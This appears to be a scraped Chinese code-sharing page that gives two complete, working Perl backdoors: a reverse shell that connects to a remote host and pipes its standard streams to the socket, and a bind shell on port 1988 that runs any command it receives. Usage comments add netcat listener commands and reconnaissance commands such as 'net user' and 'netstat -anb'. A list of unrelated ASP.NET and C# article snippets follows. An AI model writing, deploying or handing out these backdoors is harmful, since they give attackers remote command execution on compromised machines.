反向连接代码:
1. #!/usr/bin/perl
2. #usage:
3. #nc -vv -l -p PORT(default 1988) on your local system first,then
4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
6. #nc -vv -l -p 1988
7. #perl backdoor.pl 127.0.0.1 1988
8.
9. #use strict;
10. use Socket;
11. use IO::Socket;
12. use Cwd;
13. use IO::Handle;
14. my $remote = $ARGV[0]|| "127.0.0.1";
15. my $remote_port = $ARGV[1]|| 1988;
16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
17. my $path = cwd();
18. $ARGC = @ARGV;
19. if ($ARGV[0]!~/-/)
20. {
21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: ";
22. STDOUT->autoflush(1);
23. SOCKET->autoflush(1);
24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
25. open STDIN,">&SOCKET";
26. open STDOUT,">&SOCKET";
27. open STDERR,">&SOCKET";
28. print "You are in $path\n";
29. print "Welcome to use.\n";
30. print "console>\n";
31.
32. while (<STDIN>) {
33. chomp;
34. if( lc($_) eq 'exit' ) {
35. print " Bye Bye!";
36. exit;
37. }
38. $msg=system($_);
39. if($msg){
40. print STDOUT "\n$msg\n";
41. print STDOUT "console>";
42. }else
43. {
44. print "console>";
45. }
46. }
47. close SOCKET;
48. exit;
49. }
正向连接代码:
1. #!/usr/bin/perl
2. #ActivePerl 5.8.8 Build 822
3. #usage:
4. #first:perl backdoor2c.pl
5. #second:nc -vv 127.0.0.1 1988
6. #net user
7. #ipconfig /all
8. #netstat -anb
9. use IO::Socket;
10. $port = "1988";
11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' ,
12. 'LocalPort'=>$port ,
13. 'Listen'=>1 ,
14. 'Proto'=>'tcp' ,
15. 'Reuse'=>1 );
16. die "Reason: $!" unless $socket;
17. while (my $new_socket = $socket->accept()) {
18. while (my $buffer=<$new_socket> ){
19. if ($buffer=~/exit/) {exit;}
20. $res_msg=`$buffer`;
21. print $new_socket "$res_msg\ncmd>";
22. }}
perl后门,正向和反向!实例代码_应用技巧
时间: 2024-09-21 10:12:04
perl后门,正向和反向!实例代码_应用技巧的相关文章
Asp.net中安全退出时清空Session或Cookie的实例代码_实用技巧
概览: 网站中点击退出,如果仅仅是重定向到登录/出页面,此时在浏览器地址栏中输入登录后的某个页面地址如主页,你会发现不用登录就能访问.这种所谓的退出并不是安全的. 那么怎样做到安全退出呢? 那就是点击退出后清空相应的Session或Cookie. 清空Session的代码: Session.Clear(); Session.Abandon(); 清除Cookie的正确代码(假设Cookie名称为UserInfo): if (Request.Cookies["UserInfo"] !=
AspNetPager+GridView实现分页的实例代码_实用技巧
.框架是.NET Framework 4.0.一共为三个部分: 前台页面设计代码.前台页面程序代码.css样式.其中数据库连接操作用了DB类(连接语句),SQLHelper(微软的数据库操作类)效果图: 前台页面设计代码 复制代码 代码如下: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="TestWebSit
asp.net 通用的连接数据库实例代码_实用技巧
View Code 复制代码 代码如下: <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %> <center><h2><font face="宋体">访问数据库的通用代码实例</font></h2>
C#实现Web文件上传的两种方法实例代码_实用技巧
1. C#实现Web文件的上传 使用C#如何实现文件上传的功能呢?下面笔者简要介绍一下. 首先,在你的Visual C# web project 中增加一个上传用的Web Form,为了要上传文件,需要在ToolBox中选择HTML类的File Field控件,将此控件加入到Web Form中,然而此时该控件还不是服务端控件,我们需要为它加上如下一段代码:<input id=PreviousFile1 type=file size=49 runat="server">,这样
ASP.NET连接SQL数据库的简单实例代码_实用技巧
复制代码 代码如下: using System;using System.Collections;using System.ComponentModel;using System.Data;using System.Drawing;using System.Web;using System.Web.SessionState;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.HTMLControls;us
Ajax实现评论中顶和踩功能的实例代码_实用技巧
效果大致如下: javascript这块使用jquery.新建一个Asp.net web项目,使用NuGet获取Jquery最新版. 数据库方面使用Nhibernate,用Install-Package Nhibernate引用. 数据库是用的PostgreSQL,Install-Package Npgsql把驱动装上.我这里偷个懒,数据库名,用户名和密码都是ajaxDemo了. 创建数据库: 复制代码 代码如下: CREATE DATABASE "ajaxDemo" WITH O
asp.net中文件下载功能的实例代码_实用技巧
复制代码 代码如下: //TransmitFile实现下载protected void Button1_Click(object sender, EventArgs e){ Response.ContentType = "application/x-zip-compressed";Response.AddHeader("Content-Disposition", "attachment;filename=z.zip");string filena
c#多图片上传并生成缩略图的实例代码_实用技巧
前台代码: 复制代码 代码如下: <%@ Page Language="C#" AutoEventWireup="true" CodeFile="upload.aspx.cs" Inherits="upload" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat
使用DataAdapter填充多个表(利用DataRelation)的实例代码_实用技巧
Default.aspx 复制代码 代码如下: View Code <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" &q